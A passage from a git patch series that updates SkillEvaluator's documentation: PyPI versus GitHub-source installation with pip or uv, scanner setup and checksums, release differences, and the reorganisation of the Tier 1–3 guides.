test_harbor_atif_and_agent_eval_alias_are_defined() -> None: REPO_ROOT / "docs" / "developer-guide.mdx", REPO_ROOT / "docs" / "environment-variables.mdx", REPO_ROOT / "docs" / "eval-datasets.mdx", - REPO_ROOT / "docs" / "installation.mdx", + REPO_ROOT / "docs" / "installation-options.mdx", REPO_ROOT / "docs" / "reports.mdx", REPO_ROOT / "docs" / "tier3-results.mdx", ] From 11b20615a1bb5cbc9cb9f0bd9f69d5cb111148b9 Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 19:31:25 -0800 Subject: [PATCH 06/12] docs: document verified PyPI and source installation choices Signed-off-by: Christopher Kevin --- CHANGELOG.md | 6 +- README.md | 45 +++++++----- docs/AGENTS.md | 10 +-- docs/README.md | 4 +- docs/configuration.mdx | 4 +- docs/harness-check.mdx | 3 +- docs/installation-options.mdx | 128 +++++++++++++++++++-------------- docs/installation.mdx | 118 ++++++++++++++++++++++++------ docs/tier1-validation.mdx | 9 ++- docs/tier2-deduplication.mdx | 3 +- docs/tier3-live-evaluation.mdx | 2 +- docs/tier3-runtime.mdx | 4 ++ 12 files changed, 229 insertions(+), 107 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6ea4a20b2..c17b2a10e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,9 +6,9 @@ All notable changes to SkillEvaluator are documented in this file. ### Added -- Central installation guide with one recommended uv workflow for all three - tiers, with pip alternatives, scanner setup, and smaller installs on a linked - options page. Tier guides and the quickstart use the installed CLI. Navigation +- Central installation guide with pip and uv PyPI installs, uv bootstrap, and + direct GitHub source options for all three tiers. Release differences, scanner + setup, and smaller installs are documented on a linked options page. Tier guides and the quickstart use the installed CLI. Navigation groups Tier 1 Validation, Tier 1 Harness Check, Tier 2 Deduplication, and Tier 3 Live Agent Evaluation in that order. - Task-first documentation entry pages: a three-step keyless quickstart and a diff --git a/README.md b/README.md index c45b2d0d7..d2afff2aa 100644 --- a/README.md +++ b/README.md @@ -34,16 +34,27 @@ Check skills from your terminal, CI, or agent. -[Install SkillEvaluator](https://docs.nvidia.com/skills/skillevaluator/installation) once for all three tiers. +In a Python 3.12–3.14 environment: + +```bash +pip install skillevaluator +``` + +
Or install with uv + +```bash +uv tool install --python 3.13 skillevaluator +``` + +
Then check your skill, no key: ```bash -skillevaluator validate \ - ./my-skill --tiers 1 +skillevaluator quality-check ./my-skill ``` -[Try the bundled example](https://docs.nvidia.com/skills/skillevaluator/quickstart). +[All tiers, uv setup, and source install](https://docs.nvidia.com/skills/skillevaluator/installation). @@ -76,7 +87,7 @@ See the [agent guide](https://docs.nvidia.com/skills/skillevaluator/agent-skill) ### ⚡ [Harness check](https://docs.nvidia.com/skills/skillevaluator/harness-check): will your agent load your skill? Know in seconds. -No LLM inference · No model key · No agent run +Requires [GitHub source](https://docs.nvidia.com/skills/skillevaluator/installation); not in PyPI 0.9.0. No model key or agent run. ```bash skillevaluator harness-check ./my-skill @@ -95,17 +106,17 @@ Illustrative summary of versioned profiles. Full output can include notes and sc ╰────────────────────────────────────────────────────────────────── ❌ 2 of 6 not loaded ─╯ ``` -`validate` above runs it by default, as part of Tier 1. 🧪 **Ready to go deeper?** Try a +`validate` on current source includes it in Tier 1. 🧪 **Ready to go deeper?** Try a [live agent evaluation](https://docs.nvidia.com/skills/skillevaluator/tier3-live-evaluation) (Tier 3). ## Quickstart -Both use bundled `text-analyzer` and your [installed CLI](https://docs.nvidia.com/skills/skillevaluator/installation). +Use bundled `text-analyzer` with your [installed CLI](https://docs.nvidia.com/skills/skillevaluator/installation). | Start here | Requires | First result | | --- | --- | --- | | [Run without an LLM](#run-without-an-llm) | Installed CLI and Git | A deterministic quality score and findings | -| [Use NVIDIA Build](#use-nvidia-build) | Installed CLI, Git, and a Build API key | Model-backed rubric scores and feedback | +| [Use NVIDIA Build](#use-nvidia-build) | `[all]` or `[llm]` install, Git, Build API key | Model-backed rubric scores and feedback | After installation, get the example: @@ -122,9 +133,9 @@ skillevaluator quality-check \ -r cli -r json -o reports/first-quality ``` -No API key, scanner, GPU or Docker is needed. The example scores **88.8/100 (B)**, -exits `0` and saves `reports/first-quality/skillevaluator-quality.json`. The -passing threshold defaults to 70. +No API key, scanner, GPU or Docker is needed. The command reports a score, +exits `0` when it meets the default threshold of 70, and saves +`reports/first-quality/skillevaluator-quality.json`. Scores can differ by release. This checks static quality; publication evidence stays `INCOMPLETE`. Security needs scanners; agent impact needs live evaluation. Replace the example path @@ -133,6 +144,8 @@ with your skill directory. See the ### Use NVIDIA Build +Add `[all]` or `[llm]` using [Installation](https://docs.nvidia.com/skills/skillevaluator/installation) first. + Eligible NVIDIA Developer Program members can use NVIDIA-hosted endpoints for **free prototyping**, subject to [access terms and rate limits](https://docs.api.nvidia.com/nim/docs/product). @@ -152,24 +165,22 @@ The command sends skill documentation to the model and saves feedback in `reports/first-build/skillevaluator-rubric.json`. No agent runtime or Docker is needed. Completed evaluations can still fail rubric thresholds. -The same key supports Tier 2 embeddings and supported Tier 3 agents. See the -[Build walkthrough](docs/quickstart.mdx#use-nvidia-build) or [provider configuration](docs/configuration.mdx). +See [provider setup](docs/configuration.mdx) for Tier 2 embeddings and Tier 3 agents. ## Three-tier overview ![Three-tier pipeline: skill, validation, deduplication, live evaluation, reports](https://raw.githubusercontent.com/NVIDIA/SkillEvaluator/ad2815fe78c045db91d230681d32863698da08cf/docs/assets/three-tier-overview.svg) -Each tier is independent. The recommended installation includes all three: +Each tier is independent. Use the [all-tier installation](https://docs.nvidia.com/skills/skillevaluator/installation) for all three: | Tier | Question | Example after setup | Additional setup | | --- | --- | --- | --- | | Tier 1: Validation | Is the skill safe, well-formed and [harness-compatible](docs/tier1-validation.mdx#the-checks)? | `skillevaluator tier1 ./my-skill --no-llm` | External scanners for full static coverage; a provider and model clients enable LLM checks | -| Tier 1: Harness Check | Will the agent load the skill? | `skillevaluator harness-check ./my-skill` | No API key or agent run | +| Tier 1: Harness Check | Will the agent load the skill? | `skillevaluator harness-check ./my-skill` | GitHub source; no API key or agent run | | Tier 2: Deduplication | Does guidance repeat or overlap? | `skillevaluator tier2 ./my-skill` | Embeddings and chat; add `--catalog ./skill-catalog.json` for inter-skill comparison | | Tier 3: Live Agent Evaluation | Does the skill help the agent? | `skillevaluator tier3 ./my-skill` | Provider access, a supported agent, and a running sandbox (Docker by default) | -Tier 1 fetches pinned, verified SkillSpector and Gitleaks releases when they -are missing; Semgrep is optional. See [scanners](docs/installation-options.mdx#system-tools). +Prepare [scanners](docs/installation-options.mdx#system-tools) for your installed release; Semgrep is optional. `--no-llm` does not remove scanner requirements; a scanner that cannot run is `INCOMPLETE` and exits nonzero. [SkillSpector](https://github.com/NVIDIA/SkillSpector) provides specialized skill diff --git a/docs/AGENTS.md b/docs/AGENTS.md index 8f36050c2..be19d34fb 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -13,8 +13,8 @@ folder holds MDX pages published to + + +In the activated environment: + +```bash +python -m pip install --upgrade "skillevaluator[all]" ``` -If you chose a smaller install, keep your selected extras in this command. -An install from a virtual environment should be updated with pip inside that -environment; see the pip alternative below. + + -## Other installation methods +```bash +uv tool upgrade skillevaluator +``` - - Use this instead of `uv tool install` if you prefer managing a Python - environment yourself. You need Git and **Python 3.12, 3.13, or 3.14**. - Create and activate a virtual environment first, including on macOS with - Homebrew Python. +To add extras to a smaller install: - - +```bash +uv tool install --python 3.13 --reinstall "skillevaluator[all]" +``` - ```bash title="Create and activate an environment" - python3 -m venv .venv - source .venv/bin/activate - ``` + + - If `python3` is outside the supported range, use an installed supported - interpreter such as `python3.13` for the first command. +Refresh the latest source with the **GitHub source** commands on +[Installation](/skills/skillevaluator/installation#install). They reinstall the +package even when the development version number has not changed. - - + + - ```powershell title="Create and activate an environment with Python 3.13" - py -3.13 -m venv .venv - .venv\Scripts\Activate.ps1 - ``` +Run `skillevaluator --version` afterward. To move from a source install back to +PyPI, use `python -m pip install --upgrade --force-reinstall "skillevaluator[all]"` +in its activated environment, or `uv tool install --python 3.13 --reinstall "skillevaluator[all]"` +for a uv tool. - - +## Release and source differences - Then install and verify in the activated environment: +[PyPI 0.9.0](https://pypi.org/project/skillevaluator/0.9.0/) supports the direct +Tier 1, Tier 2, and Tier 3 workflows. **Harness Check, JUnit reports, and the +experimental NeMo Gym backend** were added afterward and require the +**GitHub source** installation. Advanced references describe current source; +check a command's `--help` against your installed package. - ```bash title="Install with pip" - python -m pip install "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" - skillevaluator --version - ``` +Current source can still report `0.9.0` before the next release, so the version +number alone does not identify a PyPI installation. NVIDIA Build's evaluator +default also differs: PyPI 0.9.0 uses `nvidia/nemotron-3-super-120b-a12b`, while +current source uses `nvidia/nemotron-3.5-lightning-30b-a3b`. - Keep this environment activated when running `skillevaluator`. To update - this Git-source installation, rerun the pip command with - `--upgrade --force-reinstall`, keeping your chosen extras. -
+## Other installation methods + +Pip, uv, and direct repository installs are on +[Installation](/skills/skillevaluator/installation#install). This runs SkillEvaluator itself in a container. For the usual Tier 3 setup, @@ -114,11 +118,11 @@ For an editable checkout and contributor tools, use the | Selection | Includes | | --- | --- | - | Base (no extra) | Static Tier 1 checks and quality scoring; no model clients | + | Base (no extra) | Quality and structural checks; no model clients | | `[llm]` | Model clients for rubric reviews and other LLM-backed checks | | `[tier2]` | Deduplication and similarity checks; includes `llm` | | `[tier3]` | Live agent evaluation; includes `llm` and `harbor==0.25.0` | - | `[security]` | pip-audit for the opt-in dependency audit; Bandit is in the base package | + | `[security]` | Bandit and pip-audit on PyPI 0.9.0; current source includes Bandit in the base package | | `[all]` | `tier2`, `tier3`, and `security` | | `[all,dashboard]` | All evaluation extras plus the local Streamlit dashboard | | `[dev]` | Contributor tools for builds, tests, and formatting | @@ -136,23 +140,36 @@ use these tools: | Tool | Setup | | --- | --- | -| Bandit | Included with the base package. | -| SkillSpector | Downloads the pinned release on first use when no executable is found. | +| Bandit | Included with `[all]` or `[security]` on PyPI 0.9.0; included with the base package in current source. | +| SkillSpector | Uses a supported installed version or provisions the pinned release on first use; requires uv. | | Gitleaks | Downloads the pinned release on first use on Linux and macOS. | | Semgrep | Optional unless required by your policy; install separately. | | pip-audit | Included with `[all]` or `[security]` for the opt-in dependency audit. | +For **PyPI 0.9.0 installed with pip**, install uv before full scanner validation: + +```bash title="Enable SkillSpector provisioning in a pip environment" +python -m pip install --upgrade uv +``` + +Run this in the same activated environment. If you installed SkillEvaluator +with `uv tool`, uv is already available. The current GitHub source includes uv +as a base dependency. See [Installation](/skills/skillevaluator/installation#install) +for the supported installation paths. + The first scanner run needs network access; later runs use cached downloads. Missing required scanner evidence is reported as `INCOMPLETE`. - Tier 1 verifies the SHA-256 checksums of its downloaded SkillSpector 2.13.4 - wheel and Gitleaks 8.30.0 binary. uv is installed with SkillEvaluator as a base - dependency and runs SkillSpector in its own environment. A plain pip install - therefore does not need a separate `pip install uv` step. An existing uv on - PATH is used first. + Tier 1 verifies the SHA-256 checksums of its downloaded scanners. PyPI 0.9.0 + pins SkillSpector 2.13.3; current source pins 2.13.4. Both pin Gitleaks 8.30.0. + In current source, uv is installed with SkillEvaluator as a base dependency + and runs SkillSpector in its own environment. PyPI 0.9.0 needs uv installed + separately, as shown above. An existing uv on PATH is used first. - Installed scanner executables take precedence. To manage them yourself: + Current source accepts an automatically discovered SkillSpector only when it + matches the pinned version; otherwise it provisions the pinned release. + Explicit scanner path overrides are checked separately. To manage the tools yourself: ```bash title="Optional scanner installation" uv tool install semgrep @@ -189,9 +206,14 @@ Missing required scanner evidence is reported as `INCOMPLETE`. the package. - Install Git and make sure `git --version` works. The uv command above - downloads Python 3.13 automatically; the pip alternative needs an existing - Python 3.12–3.14 interpreter. + Git is required only for the GitHub source or checkout paths; check it with + `git --version`. The uv installation commands download Python 3.13 + automatically; pip needs an existing Python 3.12–3.14 interpreter. + + + Harness Check was added after PyPI 0.9.0. Choose **GitHub source** on + [Installation](/skills/skillevaluator/installation#install) to use it. + Upgrading PyPI 0.9.0 without switching sources does not add the command. `skillevaluator --version` verifies the CLI installation. diff --git a/docs/installation.mdx b/docs/installation.mdx index a0bb16c41..03c8d0f42 100644 --- a/docs/installation.mdx +++ b/docs/installation.mdx @@ -1,51 +1,126 @@ --- title: "Install SkillEvaluator" sidebar-title: "Installation" -description: "One installation for Tier 1 validation, Tier 2 deduplication, and Tier 3 live agent evaluation." +description: "Install SkillEvaluator with pip, uv, or GitHub source for all three tiers." --- -One installation for all three tiers. +Install once for all three tiers. Choose the package manager you already use. +The commands below include `[all]`, the dependencies for Tier 1, Tier 2, and Tier 3.
+
+ + + + +Use **Python 3.12–3.14** in an activated virtual environment. -```bash title="Install SkillEvaluator" -uv tool install --python 3.13 "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" +```bash title="Install the PyPI release" +python -m pip install --upgrade "skillevaluator[all]" ``` -
+ + + + +```bash +python3.13 -m venv .venv +source .venv/bin/activate +``` + + + + +```powershell +py -3.13 -m venv .venv +.venv\Scripts\Activate.ps1 +``` + + + + + These examples use an installed Python 3.13; Python 3.12 and 3.14 also work. + Run the install command after activation. Keep this environment activated + whenever you use SkillEvaluator. + + + + -Requires **uv and Git**. uv sets up Python 3.13 automatically. This installs -the current GitHub source with all evaluation dependencies. +uv creates an isolated tool environment and sets up Python 3.13 automatically. + +```bash title="Install the PyPI release with uv" +uv tool install --python 3.13 "skillevaluator[all]" +``` + +Need uv first? Use the **Install uv** section below. + + + + +Use this for changes not yet on PyPI, including **Harness Check**. +You need Git and either uv or an activated Python 3.12–3.14 environment. + +```bash title="Install current source with uv" +uv tool install --python 3.13 --reinstall "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" +``` + +Or, in your activated environment: + +```bash title="Install current source with pip" +python -m pip install --upgrade --force-reinstall "skillevaluator[all] @ git+https://github.com/NVIDIA/SkillEvaluator.git" +``` + +The repository can contain unreleased changes. For an editable checkout, +use the [development guide](/skills/skillevaluator/developer-guide#set-up-a-development-environment). + + +
+The latest [PyPI release is 0.9.0](https://pypi.org/project/skillevaluator/). +**Harness Check requires the GitHub source option** until it is released. +See [release differences](/skills/skillevaluator/installation-options#release-and-source-differences). +For a smaller base install, omit `[all]`; see [extras](/skills/skillevaluator/installation-options#choosing-extras). +
- - Run the command for your operating system, then open a new terminal. + + Choose one method. With pip, use an activated Python environment; the + standalone installers work without an existing Python installation. + + +```bash title="Install uv with pip" +python -m pip install --upgrade uv +uv --version +``` + + - ```bash title="Install uv" - curl -LsSf https://astral.sh/uv/install.sh | sh - ``` +```bash title="Install uv" +curl -LsSf https://astral.sh/uv/install.sh | sh +``` - ```powershell title="Install uv in PowerShell" - powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex" - ``` +```powershell title="Install uv in PowerShell" +powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex" +``` - See [uv's installation guide](https://docs.astral.sh/uv/getting-started/installation/) - for other package managers. Install Git too if `git --version` is unavailable. + Open a new terminal after using a standalone installer, then run the + `uv tool install` command above. See [uv's installation guide](https://docs.astral.sh/uv/getting-started/installation/) + for other package managers.
@@ -56,8 +131,9 @@ the current GitHub source with all evaluation dependencies. skillevaluator --version ``` -You should see a version number. If the command is not found, run -`uv tool update-shell` and open a new terminal. +You should see a version number. With pip, keep your virtual environment +activated. With uv, run `uv tool update-shell` and open a new terminal if the +command is not found.
@@ -66,7 +142,7 @@ You should see a version number. If the command is not found, run | Guide | What you need next | | --- | --- | | [Tier 1: Validation](/skills/skillevaluator/tier1-validation) | A skill folder. Static checks need no API key. | -| [Tier 1: Harness Check](/skills/skillevaluator/harness-check) | A skill folder. No API key or agent run. | +| [Tier 1: Harness Check](/skills/skillevaluator/harness-check) | GitHub source installation and a skill folder. No API key or agent run. | | [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication) | A provider for embeddings and model analysis. | | [Tier 3: Live Agent Evaluation](/skills/skillevaluator/tier3-live-evaluation) | A model API key and Docker. | @@ -81,7 +157,7 @@ Need an example skill? Start with the [quickstart](/skills/skillevaluator/quicks
**More options:** [Upgrade](/skills/skillevaluator/installation-options#upgrade), -[pip or Docker](/skills/skillevaluator/installation-options#other-installation-methods), +[Docker](/skills/skillevaluator/installation-options#other-installation-methods), [smaller installs](/skills/skillevaluator/installation-options#choosing-extras), [security scanners](/skills/skillevaluator/installation-options#system-tools), or [troubleshooting](/skills/skillevaluator/installation-options#troubleshooting). diff --git a/docs/tier1-validation.mdx b/docs/tier1-validation.mdx index 32af47734..50533dbec 100644 --- a/docs/tier1-validation.mdx +++ b/docs/tier1-validation.mdx @@ -5,7 +5,7 @@ description: "Deterministic quality gates for skills — schema, quality, securi --- Run Tier 1 directly to check a skill's structure, security, quality, and -dependencies. First, [install SkillEvaluator](/skills/skillevaluator/installation#install), +dependencies. First, [install SkillEvaluator](/skills/skillevaluator/installation#install) with the all-tier option, then run: ```bash title="Run Tier 1" @@ -17,7 +17,8 @@ runs rubric judging, LLM security analysis, and finding verification. Without a provider, those LLM stages are explicitly reported as skipped. Use `--no-llm` for static checks only, or `--llm` to require a provider instead of allowing a keyless run. See [scanner setup](/skills/skillevaluator/installation-options#system-tools) -for first-run downloads and optional tools. +for first-run downloads and optional tools; PyPI 0.9.0 installed with pip also +needs uv for automatic SkillSpector setup. The two-variable [provider setup](/skills/skillevaluator/configuration) is enough to configure the LLM stages for NVIDIA Build or OpenAI. Calling `skillevaluator tier1` without a @@ -109,7 +110,7 @@ for skills. Its Tier 1 LLM checks still run only when requested. Direct `tier1 PATH` and `tier1 validate PATH` print the terminal report and write JSON and HTML reports by default. Use `-r cli` for terminal-only output. -Reports for any of these runs are selected with `-r`/`--report` (`cli`, `json`, `html`, `markdown`, `sarif`, `junit`) and written to `-o`/`--output-dir` (default `reports/`). File naming, `BENCHMARK.md`, and the JSON contract are covered in [Reports & Results](/skills/skillevaluator/reports). +Reports for any of these runs are selected with `-r`/`--report` (`cli`, `json`, `html`, `markdown`, `sarif`) and written to `-o`/`--output-dir` (default `reports/`). The `junit` format also requires the [GitHub source installation](/skills/skillevaluator/installation#install); it is not in PyPI 0.9.0. File naming, `BENCHMARK.md`, and the JSON contract are covered in [Reports & Results](/skills/skillevaluator/reports). ## Content types @@ -273,6 +274,8 @@ For `validate`, the default set is `schema`, `version`, `security`, `pii`, `lice + This check requires the [GitHub source installation](/skills/skillevaluator/installation#install); it is not included in PyPI 0.9.0. + The `harness` check reports, for each agent harness, whether the skill `loads`, is `degraded` (loads, but something is cut, hidden or ignored) or is `not_loaded`, with the rule IDs behind each verdict and the harness version and date the profile was verified against. Supported harnesses: `claude-code`, `codex`, `copilot-cli`, `hermes`, `openclaw`, `opencode`. All of this is static: no agent or model is run. See [Harness Check](/skills/skillevaluator/harness-check) for a walkthrough with example output. `validate` runs it by default for all six and lists its findings in the HTML, JSON and SARIF reports; JSON reports also get a `harness_compatibility` block. Use `--checks harness` to run it alone and `--harness codex,claude-code` to narrow the harnesses. diff --git a/docs/tier2-deduplication.mdx b/docs/tier2-deduplication.mdx index f1374f0c5..e7822dae4 100644 --- a/docs/tier2-deduplication.mdx +++ b/docs/tier2-deduplication.mdx @@ -6,7 +6,8 @@ description: "Detect redundant content within one skill and overlapping skills a Tier 2 finds redundant content — inside a single skill and across a skill collection — using embedding similarity, with chat-LLM verification for -intra-skill candidates. First, [install SkillEvaluator](/skills/skillevaluator/installation#install). +intra-skill candidates. First, [install SkillEvaluator](/skills/skillevaluator/installation#install) with the all-tier option +to include Tier 2 support. Tier 2 needs a configured embeddings provider; intra-skill analysis also needs a chat LLM. See diff --git a/docs/tier3-live-evaluation.mdx b/docs/tier3-live-evaluation.mdx index 2126cd5b8..666fb3b09 100644 --- a/docs/tier3-live-evaluation.mdx +++ b/docs/tier3-live-evaluation.mdx @@ -9,7 +9,7 @@ without your skill**, then open a report showing the difference: **Skill Lift**.
-First, [install SkillEvaluator](/skills/skillevaluator/installation#install), +First, [install SkillEvaluator](/skills/skillevaluator/installation#install) with the all-tier option, then return here to connect your model and run the comparison.
diff --git a/docs/tier3-runtime.mdx b/docs/tier3-runtime.mdx index 33250fb3e..1d5396d64 100644 --- a/docs/tier3-runtime.mdx +++ b/docs/tier3-runtime.mdx @@ -137,6 +137,10 @@ cloud backend for untrusted code. ## Execution backends +The backend selector and NeMo Gym adapter require the **GitHub source** +installation; PyPI 0.9.0 uses Harbor. See +[release differences](/skills/skillevaluator/installation-options#release-and-source-differences). + `--backend` chooses what executes the cases. The default is Harbor. The experimental NeMo Gym adapter stages the same task folders and uses the shared verifier and result collector, but requires a Gym interface that is not available in the checked public From 304a2a907d0478d842a9d0b583e811903784384e Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 20:00:47 -0800 Subject: [PATCH 07/12] docs: remove trailing blank line from runtime guide Signed-off-by: Christopher Kevin --- docs/tier3-runtime.mdx | 1 - 1 file changed, 1 deletion(-) diff --git a/docs/tier3-runtime.mdx b/docs/tier3-runtime.mdx index 1d5396d64..9c85f59b9 100644 --- a/docs/tier3-runtime.mdx +++ b/docs/tier3-runtime.mdx @@ -499,4 +499,3 @@ See [retained CI evidence](https://github.com/NVIDIA/SkillEvaluator/blob/main/ci retained jobs; `skillevaluator view` opens the HTML report.
- From a91dbf8142dac55ff4ccf11aab67431b4f81cb2e Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 23:12:17 -0800 Subject: [PATCH 08/12] docs: make tier guides concise and prepare datasets before live runs Signed-off-by: Christopher Kevin --- CHANGELOG.md | 6 + README.md | 4 +- docs/AGENTS.md | 10 +- docs/README.md | 10 +- docs/agents-and-sandboxes.mdx | 2 +- docs/ci-integration.mdx | 2 +- docs/cli-reference.mdx | 30 +- docs/eval-datasets.mdx | 7 +- docs/github-actions.mdx | 2 +- docs/gitlab-ci.mdx | 2 +- docs/harness-check.mdx | 4 +- docs/installation.mdx | 18 +- docs/prepare-dataset.mdx | 116 ++ docs/reports.mdx | 6 +- docs/tier1-reference.mdx | 1027 +++++++++++++++ docs/tier1-validation.mdx | 1149 +++-------------- docs/tier2-deduplication.mdx | 780 +++-------- docs/tier2-reference.mdx | 672 ++++++++++ docs/tier3-live-evaluation.mdx | 111 +- docs/tier3-run-options.mdx | 695 ++-------- docs/tier3-run-reference.mdx | 604 +++++++++ fern/docs.yml | 24 +- .../intra_skill/test_intra_skill_validator.py | 2 +- tests/test_oss_packaging.py | 5 +- tests/test_tier3_progress.py | 2 +- tests/tier3/test_baseline_timeouts.py | 4 +- tests/validators/test_security.py | 2 +- 27 files changed, 3019 insertions(+), 2277 deletions(-) create mode 100644 docs/prepare-dataset.mdx create mode 100644 docs/tier1-reference.mdx create mode 100644 docs/tier2-reference.mdx create mode 100644 docs/tier3-run-reference.mdx diff --git a/CHANGELOG.md b/CHANGELOG.md index c17b2a10e..c86d91290 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,12 @@ All notable changes to SkillEvaluator are documented in this file. ### Added +- Dataset-first Tier 3 walkthrough: prepare and review cases before an explicit + live evaluation, with a short dataset guide and concise run-settings page. + Tier 1 and Tier 2 now have short first-run paths; detailed checks, policies, + algorithms, and run contracts move to linked references with legacy anchors + preserved. Installation explains the base package versus `[all]`. + - Central installation guide with pip and uv PyPI installs, uv bootstrap, and direct GitHub source options for all three tiers. Release differences, scanner setup, and smaller installs are documented on a linked options page. Tier guides and the quickstart use the installed CLI. Navigation diff --git a/README.md b/README.md index d2afff2aa..6185690fb 100644 --- a/README.md +++ b/README.md @@ -175,7 +175,7 @@ Each tier is independent. Use the [all-tier installation](https://docs.nvidia.co | Tier | Question | Example after setup | Additional setup | | --- | --- | --- | --- | -| Tier 1: Validation | Is the skill safe, well-formed and [harness-compatible](docs/tier1-validation.mdx#the-checks)? | `skillevaluator tier1 ./my-skill --no-llm` | External scanners for full static coverage; a provider and model clients enable LLM checks | +| Tier 1: Validation | Is the skill safe, well-formed and [harness-compatible](docs/tier1-reference.mdx#the-checks)? | `skillevaluator tier1 ./my-skill --no-llm` | External scanners for full static coverage; a provider and model clients enable LLM checks | | Tier 1: Harness Check | Will the agent load the skill? | `skillevaluator harness-check ./my-skill` | GitHub source; no API key or agent run | | Tier 2: Deduplication | Does guidance repeat or overlap? | `skillevaluator tier2 ./my-skill` | Embeddings and chat; add `--catalog ./skill-catalog.json` for inter-skill comparison | | Tier 3: Live Agent Evaluation | Does the skill help the agent? | `skillevaluator tier3 ./my-skill` | Provider access, a supported agent, and a running sandbox (Docker by default) | @@ -207,7 +207,7 @@ retain their applicable stages. Tier 1 gates `validate`. Tier 2 gates unless `--no-block-on-dedup` is set; Tier 3 gates only with `--block-on-agent-eval`. Model and managed-sandbox usage -can incur charges; see [runtime and cost](docs/tier3-run-options.mdx#plan-for-cost). +can incur charges; see [runtime and cost](docs/tier3-run-reference.mdx#plan-for-cost). Standalone generation needs substantive `evals/EVAL.md` guidance, a `--prompt` file with task requests and outcomes, or matching retained traces. `--force` diff --git a/docs/AGENTS.md b/docs/AGENTS.md index be19d34fb..97fd5ce5e 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -17,10 +17,14 @@ folder holds MDX pages published to .*`; skill targets also get `BENCHMARK.md` | | Exit code `1` | `tier1`: a check failed or required evidence is incomplete. `tier2`: HIGH or CRITICAL findings or a blocking analysis error. `tier3`: the run did not complete; a `FAIL` verdict alone exits `0` | Tier 1 failed; Tier 2 findings unless `--no-block-on-dedup`; Tier 3 only with `--block-on-agent-eval` | @@ -151,12 +151,12 @@ errors, such as an option the workflow does not accept, exit `2`. | `--skip CHECKS` | none | Comma-separated checks to leave out, e.g. `secrets` for the Gitleaks scan. Skipped checks are shown and reported as skipped, nothing is installed for them, and the run cannot certify Tier 1 for publication | | `--llm / --no-llm` | Enabled when a provider is configured | Enable or skip rubric, LLM security, and finding verification; explicit `--llm` requires valid provider configuration | | `--min-score INTEGER` | `70` | Minimum passing quality and rubric score, from 0 to 100; quality severity overrides cannot waive the minimum | -| `--quality-config PATH` | packaged `quality-default.yaml` | YAML file that adjusts the quality check's expected headings and error-handling rules; settings it omits keep their packaged values. See [Tier 1: Validation](/skills/skillevaluator/tier1-validation#the-checks). | -| `--pii-waivers PATH` | none | Reviewed, expiring PII waivers applied by the `pii` check. See [PII waivers](/skills/skillevaluator/tier1-validation#pii-waivers). | +| `--quality-config PATH` | packaged `quality-default.yaml` | YAML file that adjusts the quality check's expected headings and error-handling rules; settings it omits keep their packaged values. See [Tier 1: Validation](/skills/skillevaluator/tier1-reference#the-checks). | +| `--pii-waivers PATH` | none | Reviewed, expiring PII waivers applied by the `pii` check. See [PII waivers](/skills/skillevaluator/tier1-reference#pii-waivers). | | `--profile TEXT` | `SKILLEVALUATOR_PROFILE`, then `default` | Validation policy: `default` or `registry`. `external` is a compatibility alias for `default`. | -| `--policy FILE` | none | Explicit policy overlay, including reviewed ownership-contact severity. See [Tier 1 policies](/skills/skillevaluator/tier1-validation#validation-profiles-and-policies). | +| `--policy FILE` | none | Explicit policy overlay, including reviewed ownership-contact severity. See [Tier 1 policies](/skills/skillevaluator/tier1-reference#validation-profiles-and-policies). | | `--previous-version TEXT` | `SKILLEVALUATOR_PREVIOUS_VERSION`, else unset | Previous version for version checks | -| `--skillspector-baseline FILE` | unset | Audited SkillSpector suppression baseline; never discovered from the skill. See [Audited SkillSpector baselines](/skills/skillevaluator/tier1-validation#audited-skillspector-baselines). | +| `--skillspector-baseline FILE` | unset | Audited SkillSpector suppression baseline; never discovered from the skill. See [Audited SkillSpector baselines](/skills/skillevaluator/tier1-reference#audited-skillspector-baselines). | Also accepts `-r/--report` and `-o/--output-dir` described above. @@ -287,7 +287,7 @@ The [evaluated source provenance](#evaluated-source-provenance) flags also appea Auto-detection recognizes: a `SKILL.md` for skills, `.mdc` files for rules, `workflow-rules.mdc` for workflows, and — for plugins — a bundle-reference `agent_plugin.yaml`/`.yml` manifest or a contained `.claude-plugin/plugin.json` manifest. Plugins are validated against their public contract; quality, lint, and version checks are skill-only and skipped for plugins. -When auto-detection finds none of these, the type is `unknown`. Tier 1 then records the `schema`, `version`, and `quality` checks as not applicable (N/A) instead of failing them with `No skills found`, and still runs the content scans. Tier 1 passes when those scans pass; Tier 2 still runs on the target unless `--no-dedup` or `--tiers 1`. The JSON report adds a root `tier1_applicability` object, whichever checks the run selects. Auto-detection also reads the directory names in the target's absolute path, so a repository whose path includes a directory named `skills`, `team-skills`, `team-rules`, `workflows`, or `team-workflows` is detected as that type, not `unknown`. A target folder whose own `SKILL.md`, `workflow-rules.mdc`, `agent_plugin.yaml`/`.yml`, or `.claude-plugin/plugin.json` is mis-cased (such as `Skill.md`) or a dangling symlink still runs the manifest checks, and fails them. A mis-cased manifest below the target is not discovered; validate that folder directly. Pass `--type` to validate the target as a given type anyway. See [Content types](/skills/skillevaluator/tier1-validation#content-types). +When auto-detection finds none of these, the type is `unknown`. Tier 1 then records the `schema`, `version`, and `quality` checks as not applicable (N/A) instead of failing them with `No skills found`, and still runs the content scans. Tier 1 passes when those scans pass; Tier 2 still runs on the target unless `--no-dedup` or `--tiers 1`. The JSON report adds a root `tier1_applicability` object, whichever checks the run selects. Auto-detection also reads the directory names in the target's absolute path, so a repository whose path includes a directory named `skills`, `team-skills`, `team-rules`, `workflows`, or `team-workflows` is detected as that type, not `unknown`. A target folder whose own `SKILL.md`, `workflow-rules.mdc`, `agent_plugin.yaml`/`.yml`, or `.claude-plugin/plugin.json` is mis-cased (such as `Skill.md`) 